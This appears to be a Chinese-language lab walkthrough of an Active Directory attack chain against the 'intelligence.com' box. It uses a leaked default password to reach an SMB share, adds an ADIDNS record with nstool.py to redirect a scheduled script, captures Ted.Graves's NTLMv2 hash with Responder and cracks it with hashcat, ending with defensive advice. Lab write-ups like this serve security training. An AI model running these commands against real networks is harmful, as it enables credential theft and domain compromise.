聊聊横向移动中的实际技术点 ----- ResponderSMB
目录
🛠️ 1. 横向移动概述
1.1 技术特点
1.2 案例背景
📂 2. SMB共享文件夹分析
🔍 2.1 发现SMB共享中的脚本
🔗 2.2 与上文关联
🖥️ 3. downdetector.ps1脚本分析
🔎 3.1 脚本内容解析
🛡️ 3.2 利用ADIDNS漏洞
🔗 3.3 与上下文关联
🌐 4. Responder拦截工具使用
🔧 4.1 Responder作用与技术栈
🔍 4.2 捕获NTLM哈希
🔗 4.3 与上下文关联
🔑 5. hashcat破解NTLM哈希
🔨 5.1 破解哈希
🔗 5.2 与上下文关联
🔗 6. 攻击链路与横向渗透思路
📋 6.1 完整攻击链
🧠 6.2 横向渗透思路
🔗 6.3 与上下文关联
🌐 7. SMB与其他协议的关系
🖧 7.1 SMB协议概述
🔌 7.2 其他协议
🔗 7.3 与上下文关联
🛡️ 8. 防御建议
⚔️ 9. 攻击技术链可视化
🌟 10. 全局总结
🛠️ 1. 横向移动概述
-
横向移动是攻击者在获得初始立足点后,通过凭据重用、网络服务滥用或配置漏洞,进一步访问网络内其他系统或账户的过程。
-
本案例以默认密码
NewIntelligenceCorpUser9876
为入口 -
结合SMB共享文件夹中的
downdetector.ps1
脚本、ADIDNS漏洞和Responder工具。 -
展示从低权限用户(Tiffany.Molina)提升至高权限用户(Ted.Graves)的完整攻击链。
-
1.1 技术特点
-
凭据重用与传递:利用捕获的用户名/密码、NTLM哈希或Kerberos票据,登录其他系统(如RDP、WinRM)。
-
网络服务滥用:通过伪装SMB、HTTP、DNS等服务,诱导系统泄露凭据。
-
自动化脚本利用:分析共享文件夹中的脚本(如
downdetector.ps1
),挖掘逻辑漏洞或高权限账户信息。 -
权限提升路径:通过哈希破解、中继攻击或服务账户利用,从低权限提升至域管理员。
1.2 案例背景
-
初始访问:通过Web源码分析和PDF文件提取,获取用户
Tiffany.Molina
的默认密码NewIntelligenceCorpUser9876
。 -
目标:利用SMB共享中的脚本和ADIDNS漏洞,捕获高权限用户
Ted.Graves
的NTLM哈希,最终实现权限提升。 -
环境:Active Directory域
intelligence.com
,包含SMB共享、DNS服务和自动化脚本。
📂 2. SMB共享文件夹分析
SMB(Server Message Block)是Windows环境中广泛使用的文件共享协议,默认运行在TCP 445端口。本节分析IT部门SMB共享中的`downdetector.psかり
🔍 2.1 发现SMB共享中的脚本
-
发现:使用
smbclient
枚举IT部门的共享目录,发现PowerShell脚本downdetector.ps1
。
smbclient -L //10.10.10.248 -U 'intelligence\Tiffany.Molina%NewIntelligenceCorpUser9876'输出:drw-rw-rw- 0 Mon Apr 19 08:50:58 2021 . drw-rw-rw- 0 Mon Apr 19 08:50:58 2021 .. -rw-rw-rw- 1046 Mon Apr 19 08:50:58 2021 downdetector.ps1
-
分析:
-
路径:
\\10.10.10.248\IT\downdetector.ps1
。 -
权限:
rw-rw-rw-
,对所有经过身份验证的用户可读写(CWE-732)。 -
脚本功能:检测以
web*
开头的DNS记录对应的主机状态,暗示自动化任务。
-
-
技术栈:
-
协议:SMB(端口445)。
-
工具:smbclient、Windows Explorer、smbmap。
-
-
安全风险:
-
权限过宽(CWE-732):低权限用户可访问敏感脚本。
-
潜在漏洞:脚本可能包含硬编码凭据或逻辑错误。
-
-
红队视角:
-
SMB共享是内网渗透的常见入口,可用于发现脚本、配置文件或凭据。
-
自动化脚本通常以高权限账户运行,适合捕获NTLM哈希。
-
🔗 2.2 与上文关联
-
Web阶段关联:通过
/documents/
目录的PDF文件获取Tiffany.Molina
凭据,进而登录SMB共享。 -
后续利用:
downdetector.ps1
的逻辑涉及DNS查询和HTTP请求,为ADIDNS漏洞和Responder攻击奠定基础。
🖥️ 3. downdetector.ps1脚本分析
downdetector.ps1
是攻击链的核心,利用其逻辑漏洞结合ADIDNS和Responder实现NTLM哈希捕获。
🔎 3.1 脚本内容解析
-
脚本内容:
Import-Module ActiveDirectory foreach ($record in Get-ChildItem "AD:DC=intelligence.com,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=com" | Where-Object Name -like "web*") { try { $request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials if ($request.StatusCode -ne 200) { Send-MailMessage ` -From 'Ted Graves <Ted.Graves@intelligence.com>' ` -To 'Ted Graves <Ted.Graves@intelligence.com>' ` -Subject "Host: $($record.Name) is down" } } catch { # Write-Output "Unable to connect to $($record.Name)" } }
-
逻辑分析:
-
导入AD模块:访问Active Directory中的DNS记录。
-
遍历DNS记录:查询
intelligence.com
域下以web*
开头的记录(如web1.intelligence.com
)。 -
HTTP请求:对每个记录发送HTTP请求,使用
-UseDefaultCredentials
触发NTLM认证。 -
状态检查:若响应码非200,发送邮件通知给
Ted.Graves
。
-
-
技术栈:
-
协议:LDAP(端口389,AD查询)、DNS(端口53,记录解析)、HTTP(端口80,Web请求)、SMTP(端口25/587,邮件发送)。
-
工具:PowerShell、Active Directory模块。
-
-
安全风险:
-
默认凭据(CWE-306):
-UseDefaultCredentials
触发NTLM认证,易被Responder捕获。 -
未验证DNS记录:未检查记录合法性,易受ADIDNS攻击。
-
-
红队视角:
-
脚本的HTTP请求为捕获高权限用户(如
Ted.Graves
)的NTLM哈希提供了机会。 -
DNS记录可被低权限用户修改,暗示ADIDNS漏洞。
-
🛡️ 3.2 利用ADIDNS漏洞
-
利用点:
-
Active Directory集成DNS(ADIDNS)允许普通用户(如
Tiffany.Molina
)添加或修改DNS记录。 -
脚本遍历
web*
记录,攻击者可添加恶意记录(如web1
指向攻击者IP)。
-
-
步骤:
python3 nstool.py -u 'intelligence.com\Tiffany.Molina' -p NewIntelligenceCorpUser9876 10.129.188.193 -a add -r web1 -d 192.168.96.128 -t A
-
使用
nstool.py
添加DNS记录: -
脚本访问
web1.intelligence.com
,触发HTTP请求到攻击者IP。
-
-
技术栈:
-
协议:LDAP(修改DNS记录)、Kerberos(端口88,认证)。
-
工具:nstool.py、krbrelayx。
-
-
安全风险:
-
默认权限允许普通用户修改DNS记录(CWE-276)。
-
未验证的DNS记录导致请求重定向(CWE-601)。
-
-
红队视角:
-
诱导脚本向攻击者服务器发送请求,结合Responder捕获NTLM哈希。
-
🔗 3.3 与上下文关联
-
上文:SMB共享的宽松权限允许访问
downdetector.ps1
,揭示其逻辑。 -
下文:脚本的HTTP请求为Responder捕获NTLM哈希提供了切入点。
🌐 4. Responder拦截工具使用
Responder是内网渗透的利器,通过伪装网络服务捕获NTLM哈希或明文凭据。
🔧 4.1 Responder作用与技术栈
-
作用:
-
NTLM哈希捕获:伪装HTTP/SMB服务器,捕获客户端NTLMv1/v2哈希。
-
LLMNR/NBT-NS中毒:响应名称解析请求,诱导客户端连接攻击者服务器。
-
WPAD攻击:伪装代理服务器,捕获HTTP凭据。
-
中继攻击:结合
ntlmrelayx
将哈希中继到其他服务。
-
-
技术栈:
-
协议:SMB(445)、HTTP(80)、LLMNR(5355)、NBT-NS(137/138)、WPAD(HTTP)。
-
工具:Responder、ntlmrelayx。
-
-
红队场景:
-
在获得
Tiffany.Molina
权限后,捕获高权限用户(如Ted.Graves
)的哈希。 -
无文件攻击,仅通过网络协议实现凭据泄露。
-
-
安全风险:
-
NTLM认证易被捕获(CWE-294)。
-
未禁用LLMNR/NBT-NS或SMB签名增加中继风险(CWE-319)。
-
🔍 4.2 捕获NTLM哈希
-
步骤:
responder -I tun0[HTTP] NTLMv2 Client: 10.10.10.248 [HTTP] NTLMv2 Username: intelligence\Ted.Graves [HTTP] NTLMv2 Hash: Ted.Graves::intelligence:e95a1e793cec1ae5:BF37154FE69F0B57D61449C921398743:...
-
在攻击者机器上运行Responder:
-
等待
downdetector.ps1
访问web1.intelligence.com
(192.168.96.128)。 -
Responder捕获
Ted.Graves
的NTLMv2哈希:
-
-
技术栈:
-
协议:HTTP、SMB。
-
工具:Responder。
-
-
安全风险:
-
脚本使用
-UseDefaultCredentials
触发NTLM认证。 -
未强制Kerberos认证(CWE-306)。
-
-
红队视角:
-
自动化脚本的高权限账户(如
Ted.Graves
)是捕获目标。 -
哈希可用于破解或中继攻击。
-
🔗 4.3 与上下文关联
-
上文:ADIDNS漏洞诱导脚本发送HTTP请求至攻击者IP。
-
下文:捕获的哈希为后续破解或中继攻击提供基础。
🔑 5. hashcat破解NTLM哈希
捕获的NTLM哈希可通过离线破解或中继攻击进一步利用。
🔨 5.1 破解哈希
-
步骤:
Ted.Graves::intelligence:e95a1e793cec1ae5:BF37154FE69F0B57D61449C921398743:...hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
-
保存哈希到
hash.txt
: -
使用hashcat破解:
-
假设破解成功,获取
Ted.Graves
的明文密码(如P@ssw0rd123
)。
-
-
技术栈:
-
工具:hashcat。
-
协议:无(离线破解)。
-
-
安全风险:
-
弱密码(CWE-521)易被字典攻击破解。
-
NTLMv2哈希在高性能GPU下破解速度快。
-
-
红队视角:
-
明文密码可登录高权限系统。
-
若破解失败,可尝试中继攻击。
-
🔗 5.2 与上下文关联
-
上文:Responder捕获的哈希为破解提供了输入。
-
下文:破解的密码或中继的哈希用于权限提升。
🔗 6. 攻击链路与横向渗透思路
📋 6.1 完整攻击链
-
🔍 Web源码分析:
-
发现
/documents/
目录,下载PDF文件,提取Tiffany.Molina:NewIntelligenceCorpUser9876
。 -
识别TRACE方法、旧框架(jQuery/Bootstrap)。
-
工具:Burp Suite、Gobuster。
-
-
📂 敏感文件读取:
-
利用命名规律(
YYYY-MM-DD-upload.pdf
)批量下载PDF。 -
提取元数据(用户列表)和内容(默认密码)。
-
工具:pdf-parser、exiftool。
-
-
🚪 初始访问:
-
使用
Tiffany.Molina
凭据通过Kerberos登录,访问SMB共享。 -
工具:kerbrute、smbclient。
-
-
📂 SMB共享分析:
-
发现
downdetector.ps1
,分析其逻辑(DNS查询、HTTP请求)。 -
工具:smbclient、smbmap。
-
-
🛡️ ADIDNS利用:
-
使用
nstool.py
添加web1
记录,指向攻击者IP。 -
工具:nstool.py。
-
-
🌐 Responder捕获:
-
运行Responder,捕获
Ted.Graves
的NTLMv2哈希。 -
工具:Responder。
-
-
🔑 哈希破解/中继:
-
使用hashcat破解哈希,或用ntlmrelayx中继到LDAP/SMB。
-
工具:hashcat、ntlmrelayx。
-
-
🔝 权限提升:
-
使用
Ted.Graves
凭据登录域控,或执行DCSync提取域哈希。 -
工具:mimikatz、Impacket。
-
🧠 6.2 横向渗透思路
-
目标:从
Tiffany.Molina
提升至Ted.Graves
或域管理员。 -
策略:
-
凭据重用:尝试
NewIntelligenceCorpUser9876
登录RDP、WinRM。 -
哈希中继:将NTLM哈希中继到域控LDAP,添加域管理员账户。
-
Kerberoasting:枚举服务账户SPN,破解弱密码。
-
DNS滥用:添加更多
web*
记录,捕获其他高权限用户哈希。
-
-
技术栈:
-
协议:HTTP、SMB、LDAP、Kerberos、DNS。
-
工具:Responder、nstool.py、hashcat、ntlmrelayx、kerbrute、mimikatz。
-
🔗 6.3 与上下文关联
-
上文:Web和PDF分析提供初始凭据,SMB和ADIDNS为哈希捕获创造条件。
-
下文:攻击链的成功执行为全局总结和防御建议提供了案例。
🌐 7. SMB与其他协议的关系
🖧 7.1 SMB协议概述
-
功能:文件共享、打印机共享、远程管理(WMI、PSEXEC)。
-
版本:SMBv1(不安全,已禁用)、SMBv2/v3(支持加密和签名)。
-
内网作用:
-
共享敏感文件(如
downdetector.ps1
)。 -
集成NTLM/Kerberos认证,易被捕获或中继。
-
-
外网作用:
-
通常不暴露(防火墙阻止445端口)。
-
可通过VPN或XSS诱导用户访问恶意SMB服务器。
-
-
安全风险:
-
权限过宽(CWE-732)。
-
NTLM认证易被捕获(CWE-294)。
-
未启用SMB签名(CWE-319)。
-
🔌 7.2 其他协议
-
LDAP(端口389/636):
-
作用:查询/修改AD对象(如DNS记录)。
-
利用:ADIDNS滥用、中继攻击。
-
风险:默认权限过宽(CWE-276)、明文传输(CWE-319)。
-
-
Kerberos(端口88):
-
作用:域认证,基于票据(TGT/TGS)。
-
利用:Kerberoasting、Pass-the-Ticket。
-
风险:弱服务账户密码(CWE-521)。
-
-
DNS(端口53):
-
作用:域名解析,ADIDNS存储在AD中。
-
利用:添加恶意记录、LLMNR/NBT-NS中毒。
-
风险:未验证记录(CWE-601)。
-
-
HTTP(端口80/443):
-
作用:Web服务通信。
-
利用:捕获NTLM哈希、WPAD攻击。
-
风险:默认凭据认证(CWE-306)。
-
-
SMTP(端口25/587):
-
作用:邮件发送。
-
利用:伪造通知诱导点击。
-
风险:未启用TLS(CWE-319)。
-
🔗 7.3 与上下文关联
-
上文:SMB共享中的脚本触发HTTP请求,结合ADIDNS和Responder实现攻击。
-
下文:协议的协同利用为攻击链提供了多维度路径。
🛡️ 8. 防御建议
-
网络层面:
-
禁用SMBv1,强制SMBv3加密和签名。
-
禁用LLMNR/NBT-NS,使用DNS服务器解析。
-
阻止445、137、138端口外网访问。
-
-
认证安全:
-
强制Kerberos认证,禁用NTLM。
-
实施强密码策略,启用MFA。
-
-
权限管理:
-
限制SMB共享权限,仅允许必要用户访问。
-
禁止普通用户修改ADIDNS记录。
-
-
监控检测:
-
部署IDS/IPS,监控异常NTLM和DNS请求。
-
使用SIEM记录LDAP、Kerberos日志。
-
⚔️ 9. 攻击技术链可视化
{ "type": "flow", "data": { "nodes": [ { "id": "1", "label": "Web 源码分析" }, { "id": "2", "label": "敏感文件读取" }, { "id": "3", "label": "初始访问" }, { "id": "4", "label": "SMB 共享分析" }, { "id": "5", "label": "ADIDNS 利用" }, { "id": "6", "label": "Responder 捕获" }, { "id": "7", "label": "哈希破解" }, { "id": "8", "label": "哈希中继" }, { "id": "9", "label": "Kerberoasting" }, { "id": "10", "label": "权限提升" } ], "links": [ { "source": "1", "target": "2" }, { "source": "2", "target": "3" }, { "source": "3", "target": "4" }, { "source": "4", "target": "5" }, { "source": "5", "target": "6" }, { "source": "6", "target": "7" }, { "source": "6", "target": "8" }, { "source": "3", "target": "9" }, { "source": "7", "target": "10" }, { "source": "8", "target": "10" }, { "source": "9", "target": "10" } ] }, "options": { "layout": { "hierarchical": { "direction": "LR" } }, "nodes": { "shape": "box", "color": { "background": "#2196F3", "border": "#1976D2", "highlight": { "background": "#42A5F5", "border": "#1565C0" } }, "font": { "color": "#FFFFFF" } }, "edges": { "color": "#1976D2", "arrows": "to" } } }
🌟 10. 全局总结
本次攻击链从Web源码分析到SMB共享利用,展示了横向移动的完整过程:
-
Web阶段:通过PDF文件提取初始凭据,揭示系统架构。
-
SMB阶段:利用
downdetector.ps1
和ADIDNS漏洞,捕获高权限用户哈希。 -
横向移动:通过哈希破解或中继,扩展权限至域控。
-
关键漏洞:目录遍历(CWE-552)、默认凭据(CWE-259)、ADIDNS权限过宽(CWE-276)、NTLM认证捕获(CWE-294)。